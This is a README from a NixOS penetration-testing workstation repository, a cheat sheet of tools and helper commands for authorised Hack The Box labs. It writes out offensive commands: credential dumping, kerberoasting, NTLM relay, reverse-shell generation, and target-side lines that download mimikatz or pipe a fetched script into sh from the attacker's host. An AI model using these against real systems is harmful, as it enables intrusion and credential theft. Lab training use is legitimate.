NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor
git clone https://git.daemon-sec.xyz/NixDaemon.git
Log | Files | Refs | README

pentest.md (17431B)


      1 # pentest — the offensive toolkit on this machine
      2 
      3 Everything here is installed by `modules/features/pentest/`. Categories are
      4 switched with `daemon.pentest.<category>.enable` in
      5 `modules/hosts/laptop/configuration.nix`. Scope: authorised labs — HTB, CPTS.
      6 
      7 ## htb — the box you are on
      8 
      9     htbup                           connect (picks the only profile), then
     10                                     shows the tunnel IP and current target
     11     htbdown                         disconnect
     12 
     13     htbvpn list                     profiles in ~/.config/htb/vpn
     14     htbvpn up lab_eu_free           a specific profile (stops any other first)
     15     htbvpn down  htbvpn status
     16     htbip                           your tunnel address
     17 
     18     htbtarget 10.10.11.5            set the target
     19     htbtarget 10.10.11.5 dc01.vintage.htb vintage.htb
     20                                     ...and write /etc/hosts (Kerberos needs names)
     21     htbtarget                       show it        htbtarget clear   forget it
     22 
     23     htbbox new                      prompt for name / ip / os / difficulty (gum)
     24     htbbox new EscapeTwo 10.10.11.202 win medium sequel.htb dc01.sequel.htb
     25                                     positional, ANY order — each arg is placed
     26                                     by its shape (ip, os, difficulty, hostname,
     27                                     else name). Flags -n -i -o -d -H still work.
     28     htbbox use sauna                switch box: $BOX, $BOXDIR, $TARGET, /etc/hosts
     29     htbbox ls                       boxes, newest first (* = current)
     30     htbbox info [box]               the box card: target, flags, creds, ports, notes
     31     cd "$BOXDIR"                    jump to the current box (or: cd "$(htbbox path)")
     32 
     33   Record as you go — it all lands in box.json, which every tool can read:
     34 
     35     htbbox set ip 10.10.11.9        change a field (ip os difficulty status domain)
     36     htbbox host dc01.sequel.htb     add a hostname (re-points /etc/hosts)
     37     htbbox cred sql_svc 'P@ss' mssql   a credential (also appended to creds/creds.txt)
     38     htbbox flag user <32-hex>       record a flag; status follows (active→user→root)
     39     htbbox note "WinRM open, fsmith in Remote Mgmt"    a timestamped note
     40     htbbox ports                    import open ports from the newest recon/*.xml
     41     htbbox json [box] [key]         raw box.json, or one key: htbbox json ip
     42 
     43   ~/htb/<box>/ holds:
     44 
     45     box.json    the manifest: ip, os, difficulty, hostnames, domain, status,
     46                 flags, creds, ports, notes — the single source of truth
     47     writeup.md  rendered once from the vault's daemon-sec-htb-post template
     48     recon/      nmap, rustscan, masscan, dns   (nmap -oA recon/x feeds `htbbox ports`)
     49     enum/       per-service output        creds/    hashes, passwords, tickets
     50     loot/       files off the target      exploit/  PoCs and what you wrote
     51     serve/      files staged FOR the target (not $PAYLOADS, which is global)
     52     casts/      terminal recordings
     53 
     54   `htbbox new`/`use` also set $TARGET, so the toolkit points at the box at once.
     55   Re-running `new` updates the fields you pass and keeps creds/flags/notes and
     56   your writeup.md prose -- it never clobbers them.
     57 
     58 ## rec — record the session as write-up material
     59 
     60     htbcast                         record into the current box, auto-named
     61     htbcast -n foothold             name it
     62     htbcast -b sauna -n privesc     a box that is not the current one
     63     htbcast ls [box]                recordings, newest first, with durations
     64     htbcast play foothold           replay in the terminal
     65     htbcast txt  foothold           plain-text transcript -> casts/foothold.txt
     66     htbcast gif  foothold           animated GIF (preview only, see below)
     67 
     68   Exit the shell (or ctrl-d) to stop. Several at once is the normal case -- one
     69   terminal scanning, another on the shell -- so the default name carries a
     70   counter and a timestamp and never collides.
     71 
     72   `txt` is the one to paste into Claude or Codex: a .cast is JSON lines of
     73   {time, "o", bytes}, so the whole session is machine-readable.
     74 
     75   Caveat: the website's terminal GIFs are written as specs, never recorded
     76   (~/git/daemon-sec/AGENTS.md, "ASCII terminal clips") -- a raw session carries
     77   typos, dead waits and a scrollback that disagrees with the prose. So
     78   `htbcast gif` is for judging what to cut; the published clip is still
     79   script/clips/specs/<name>.json.
     80 
     81 It is `htbbox`, not `htb`: your dotfiles already define an `htb()` function and
     82 a zsh function always wins over a command on PATH. Your own `htb-newbox` does
     83 the same scaffolding backed by sqlite (`htb-list`, `creds`, `findings`, `flags`,
     84 `note`) — sqlite3 is now installed, so those work too.
     85 
     86 $TARGET, $RHOST, $IP, $BOX and $BOXDIR are exported in every terminal.
     87 
     88   Caveat: they refresh at each PROMPT. A shell already running a long command
     89   keeps the old value until it returns. Open a new line, or re-run `htbtarget`.
     90 
     91   Caveat: `nh os switch` regenerates /etc/hosts and DROPS the htbtarget block.
     92   Mid-box, re-run `htbtarget <ip> <fqdn>` after any rebuild or Kerberos stops
     93   resolving.
     94 
     95     htbtime                         match the DC's clock (uses $TARGET)
     96     htbtime off                     put normal time sync back
     97     htbtime status                  are we holding a skew?
     98 
     99   Caveat: a held skew makes TLS certificates look invalid, so `nix`, `git` and
    100   HTTPS may fail while it is on. `htbtime off` fixes it; so does a reboot.
    101 
    102 ## recon — what is there
    103 
    104     htbscan                         -sC -sV top 1000 on $TARGET → $BOXDIR/recon/quick
    105     htbscan full                    -p- sweep, then -sC -sV on what is open
    106     htbscan ports 22,80,445         just these           htbscan udp   top 100 UDP
    107                                     each pass is -oA and feeds `htbbox ports` itself
    108 
    109     nmap -sC -sV -oA nmap/initial $TARGET
    110     nmap -p- --min-rate 10000 -oA nmap/all $TARGET
    111     sudo nmap -sU --top-ports 100 $TARGET          # UDP; needs root PATH, hence systemPackages
    112     rustscan -a $TARGET -- -sC -sV
    113     fscan -h $TARGET                               # all-in-one sweep
    114 
    115     nxc smb $TARGET -u '' -p ''                    # null session
    116     enum4linux-ng -A $TARGET
    117     smbclient -L //$TARGET -N
    118     snmp-check $TARGET
    119     ldapsearch -x -H ldap://$TARGET -s base namingcontexts
    120     snmpwalk -v2c -c public $TARGET               # after onesixtyone finds the community
    121     sslscan $TARGET:443             testssl.sh https://$TARGET
    122 
    123 ## ad — active directory
    124 
    125     kerbrute userenum -d vintage.htb --dc $TARGET users.txt
    126     nxc smb $TARGET -u user -p pass --shares --users --pass-pol
    127     nxc ldap $TARGET -u user -p pass --bloodhound -c all --dns-server $TARGET
    128 
    129     GetNPUsers.py vintage.htb/ -dc-ip $TARGET -usersfile users.txt   # AS-REP
    130     GetUserSPNs.py vintage.htb/user:pass -dc-ip $TARGET -request     # kerberoast
    131     secretsdump.py vintage.htb/user:pass@$TARGET
    132     certipy find -u user@vintage.htb -p pass -dc-ip $TARGET -vulnerable
    133 
    134     linWinPwn -t $TARGET -d vintage.htb -u user -p pass   # drive most of the above
    135     linWinPwn -t $TARGET -d vintage.htb -M ad_enum         # one module
    136 
    137 BloodHound: two viewers, two formats, NOT interchangeable.
    138 
    139     rusthound-ce -d vintage.htb -u user@vintage.htb -p pass -c All -z
    140                                     # -> CE format, for bloodhound-ce
    141     bloodhound-python -u user -p pass -d vintage.htb -dc dc01.vintage.htb -c all
    142                                     # -> LEGACY format, for bloodhound-legacy
    143 
    144     bloodhound ce                   # postgres + neo4j + the CE API, then the URL
    145     bloodhound creds                # the generated admin password
    146     bloodhound legacy               # neo4j + the archived 4.3.1 GUI
    147     bloodhound status  bloodhound down
    148 
    149   Feeding legacy JSON to CE (or the reverse) fails with an unhelpful parse
    150   error. That is the usual way to lose an hour here. SharpHound CE lives in
    151   $ad/SharpHound/SharpHound.exe.
    152 
    153   bloodhound-legacy is an archived app on Electron 11 — nixpkgs dropped it for
    154   that reason. Use it for your own lab data, nothing else.
    155 
    156     printerbug.py vintage.htb/user:pass@$TARGET $(htbip)   # coerce auth (MS-RPRN)
    157     ntlmrelayx.py -t ldap://$TARGET --escalate-user user
    158     evil-winrm -i $TARGET -u user -p pass
    159 
    160 impacket's 70 scripts answer to both spellings: `secretsdump.py` and
    161 `secretsdump`. Five did NOT get the bare name, because a real tool owns it —
    162 reach for these instead:
    163 
    164     impacket-net   impacket-ping   impacket-smbclient   impacket-split
    165     impacket-mimikatz          (so it is not confused with mimikatz.exe)
    166 
    167 Every script also has an `impacket-` form, so `impacket-secretsdump` works too.
    168 
    169     impacket              pick a script (fzf, with its --help as preview)
    170     impacket --list       all 70 names
    171     impacket getST -h     run one by name
    172 
    173 ## pivot — onto the next subnet
    174 
    175 ligolo-ng first: it gives a real interface, so every tool works unchanged.
    176 
    177     sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
    178     ligolo-proxy -selfcert                         # on this machine
    179     # on the target, from $ligolo/<os>-<arch>/:
    180     #   ligolo-agent.exe -connect <you>:11601 -ignore-cert
    181     # then in the proxy: session; start; and route the subnet:
    182     sudo ip route add 172.16.1.0/24 dev ligolo
    183 
    184     chisel server -p 8000 --reverse                # fallback
    185     # target: chisel.exe client <you>:8000 R:socks
    186 
    187     ssh -D 1080 user@host                          # then proxychains4 <cmd>
    188     proxychains4 nxc smb 172.16.1.5
    189 
    190 /etc/proxychains.conf is generated by Nix (programs.proxychains) — editing it
    191 by hand does not work on NixOS, so change pivot.nix instead.
    192 
    193 ## shells — catching one
    194 
    195     revshell bash                   one-liner for $LHOST (else htbip) : 4444
    196     revshell ps64 9001              base64 PowerShell, port 9001
    197     revshell -c python              ...and copy it        revshell ls / all
    198     revshell                        pick with gum
    199                                     the payload is stdout; the listener to run
    200                                     (rlwrap -cAr nc -lvnp …) is printed on stderr
    201 
    202 ## transfer — getting files across
    203 
    204     payload-serve                   HTTP on your tunnel address, port 8000
    205     payload-serve 80                ...on 80 (needs sudo: ports under 1024)
    206     payload-serve --smb             impacket smbserver, share name `share`
    207     payload-serve --list            what is in the tree
    208 
    209 It refuses to start when the VPN is down rather than binding every interface,
    210 and refuses an unprivileged port under 1024 rather than dying halfway.
    211 
    212     # on the target (default port 8000)
    213     certutil -urlcache -f http://$(htbip):8000/creds/mimikatz/x64/mimikatz.exe m.exe
    214     iwr -uri http://$(htbip):8000/x.exe -outfile x.exe
    215     wget http://$(htbip):8000/privesc/linux/linpeas.sh -O- | sh
    216 
    217 The Linux binaries are statically linked and the scripts use /bin/sh, so they
    218 run on a target that has none of this machine's libraries.
    219 
    220 ## paths — the arsenal (~/pentesting) and how to find it
    221 
    222 Every binary is staged, pinned by hash, under `~/pentesting`, and a permanent
    223 lowercase variable points at each part of it. Type `$potatoes`, not a path.
    224 
    225     htbpaths                        every variable, where it points, how full
    226     htbpaths potatoes               just the path:  cd "$(htbpaths potatoes)"
    227     htbpaths find godpotato         locate a tool + the URL payload-serve gives it
    228     htbpaths tree ad                a two-level tree of one area
    229     eval "$(htbpaths env)"          set the vars in a shell started before login
    230 
    231     $pentesting   the root (= $PAYLOADS)        $wordlists  (= $WORDLISTS)
    232     $privesc  $winprivesc  $potatoes  $linprivesc
    233     $creds  $mimikatz          $ad  $sharpcollection  $sharp
    234     $pivoting  $ligolo  $chisel      $recon  $nmapbin  $fscan
    235     $shells  $webshells  $scripts  $exploits
    236     $mytools      ~/pentesting/local — YOURS, writable, never touched by Nix
    237 
    238   What is where (newest sets, every OS/arch unless noted):
    239 
    240     $potatoes     God/Sigma/Dead/Coerced/Juicy/JuicyNG/Rogue/Local/Print*/Petit,
    241                   PrintSpoofer, RemotePotato0   (SeImpersonate → SYSTEM)
    242     $winprivesc   winPEASx64/x86/any, FullPowers.exe, PrivescCheck.ps1
    243     $linprivesc   linpeas, lse, pspy (amd64+arm64)
    244     $creds        mimikatz/{x64,Win32}/ (both builds), nanodump*, PPLBlade
    245     $ad           SharpHound CE (SharpHound/), Rubeus, Seatbelt, Certify,
    246                   Certipy.exe, bloodyAD.exe, rusthound-ce.exe, SharpSCCM,
    247                   Inveigh, KrbRelayEx/, kerbrute/ (ropnop, all arches)
    248     $sharp        the whole SharpCollection 4.7 x64;  $sharpcollection = all frameworks
    249     $ligolo       ligolo-ng/<os>-<arch>/ligolo-agent[.exe]   ($chisel same shape)
    250     $fscan        fscan/<os>-<arch>/fscan[.exe]
    251     $nmapbin      nmap/linux-<arch>/nmap (static) + nmap/windows/ (portable)
    252     $shells       RunasCs.exe, nc.exe/nc64.exe
    253     $pivoting     also socat/ (static, per arch) and plink-x64/x86.exe
    254     $scripts      ad/ (PowerView, PowerUp, PowerSploit, nishang),
    255                   printer/ (printerbug.py, CVE-2021-1675.py), privesc/ (EfsPotato.cs)
    256 
    257 The whole tree rolls back with the system generation; `~/pentesting/local` is
    258 the one writable spot and is never overwritten. `pentest-update [--apply]`
    259 moves the pins (both _pkgs files) forward.
    260 
    261 ## crack — offline
    262 
    263     hcmode                          the common -m numbers (kerberoast, NTLMv2, …)
    264     hcmode kerb   hcmode 13100      search every mode the installed hashcat knows
    265     hashid hash.txt   nth hash.txt   haiti '<hash>'   (haiti prints the -m too)
    266     hashcat -m 13100 spns.txt $WORDLISTS/rockyou.txt       # kerberoast TGS
    267     hashcat -m 18200 asrep.txt $WORDLISTS/rockyou.txt      # AS-REP
    268     hashcat -m 1000 ntlm.txt $WORDLISTS/rockyou.txt        # NTLM
    269     john --wordlist=$WORDLISTS/rockyou.txt hash.txt
    270     hydra -l user -P $WORDLISTS/rockyou.txt ssh://$TARGET
    271 
    272     echo $WORDLISTS                 rockyou.txt, seclists/, nmap.lst, wfuzz/
    273 
    274 ## web
    275 
    276     ffuf -u http://$TARGET/FUZZ -w $WORDLISTS/seclists/Discovery/Web-Content/raft-medium-directories.txt
    277     feroxbuster -u http://$TARGET --depth 2
    278     ffuf -u http://$TARGET -H 'Host: FUZZ.vintage.htb' -w subdomains.txt -fs 0  # vhosts
    279     nuclei -u http://$TARGET
    280     sqlmap -u "http://$TARGET/?id=1" --batch --dbs
    281     wpscan --url http://$TARGET --enumerate u
    282     searchsploit apache 2.4
    283     wafw00f http://$TARGET          ghauri -u "http://$TARGET/?id=1" --dbs
    284     interactsh-client               OOB callback host for blind SSRF / XXE / RCE
    285 
    286 burpsuite and zap are in the launcher (daemon.pentest.gui).
    287 
    288 ## dfir — forensics (off by default)
    289 
    290     daemon.pentest.dfir.enable = true;      # then: nh os switch
    291 
    292     vol -f mem.raw windows.pslist
    293     chainsaw hunt evtx/ --sigma sigma/      hayabusa csv-timeline -d evtx/
    294     yara rules.yar ./sample                 capa ./sample
    295     fls -r -o 2048 disk.img                 exiftool file.jpg
    296     chntpw -l SAM                           # offline local accounts
    297 
    298 ## wifi — 802.11 and radio (off by default)
    299 
    300     daemon.pentest.wireless.enable = true;   # wifi
    301     daemon.pentest.radio.enable = true;      # SDR, bluetooth, RFID
    302 
    303     airmon-ng check kill                    stop NetworkManager fighting you
    304     airmon-ng start wlan1                   -> wlan1mon
    305     airodump-ng wlan1mon                    survey
    306     wifite --kill                           the whole attack loop, guided
    307     hcxdumptool -i wlan1mon -w pmkid.pcapng PMKID, no client needed
    308     hcxpcapngtool -o hash.hc22000 pmkid.pcapng
    309     hashcat -m 22000 hash.hc22000 $WORDLISTS/rockyou.txt
    310     reaver -i wlan1mon -b <bssid> -K 1      WPS pixie-dust
    311     kismet -c wlan1mon                      passive, logs everything
    312 
    313     hackrf_info                             is the SDR there
    314     rtl_433 -F json                         the 433 MHz device zoo
    315     gqrx                                    look at the spectrum
    316     ubertooth-btle -f                       follow a BLE connection
    317     pm3                                     proxmark3 console
    318     nfc-list                                what is on the reader
    319 
    320 ## db — databases you found listening (off by default)
    321 
    322     daemon.pentest.database.enable = true;
    323 
    324     mysql -h "$TARGET" -u root -p           mycli for completion/history
    325     tsql -H "$TARGET" -p 1433 -U sa         MSSQL; sqlcmd also works
    326     pgcli -h "$TARGET" -U postgres          psql comes with bloodhound
    327     redis-cli -h "$TARGET"                  then: INFO, KEYS *, CONFIG GET dir
    328     usql mysql://user:pass@"$TARGET"/db     one client, any URL
    329 
    330 ## nix — maintaining this
    331 
    332     nh os switch                            rebuild and activate
    333     nix develop ~/NixDaemon#pentest         the whole kit, portable, no install
    334     nix develop ~/NixDaemon#pentest-ad      one category, same way
    335     nix flake check                         every category's smoke test
    336     pentest-update                          report newer pins (changes nothing)
    337     pentest-update --apply                  rewrite the revs and hashes
    338 
    339 Every category is listed in `modules/hosts/laptop/configuration.nix`, so the
    340 whole toolkit is toggled from one block. On by default:
    341 
    342     core wordlists python recon ad web pivot crack shells
    343     bloodhound vpn time htb payloads update gui
    344 
    345 Off until you flip it to `true` there:
    346 
    347     dfir reversing wireless radio hardware c2 database cloud osint social mobile